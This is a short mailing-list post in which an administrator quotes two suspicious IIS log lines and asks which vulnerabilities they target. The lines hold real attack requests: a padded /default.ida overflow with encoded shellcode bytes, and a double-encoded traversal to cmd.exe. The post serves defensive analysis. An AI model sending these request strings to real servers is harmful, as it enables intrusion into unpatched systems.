Suspicious IIS Log entry

[Toby Schau <Toby.Schau () iacudiv state ia us>]

I found the following suspicious entries in my IIS log files. Does anyone
recognize the specific vulnerabilities that are attempted to be exploited? 
[ex030809.log (20)] : 2003-08-09 05:14:10 xxx.xx.xx.xx- xx.xx.xx.xx 80 GET
/default.ida
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u90
90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 404 - 

[ex030908.log (201)] : 2003-09-08 06:31:02 xx.xxxxx.xxx - xxx.xx.xxx.xx 80
GET /<Rejected-By-UrlScan> ~/scripts/..%255c%255c../winnt/system32/cmd.exe
404 - 
Thanks


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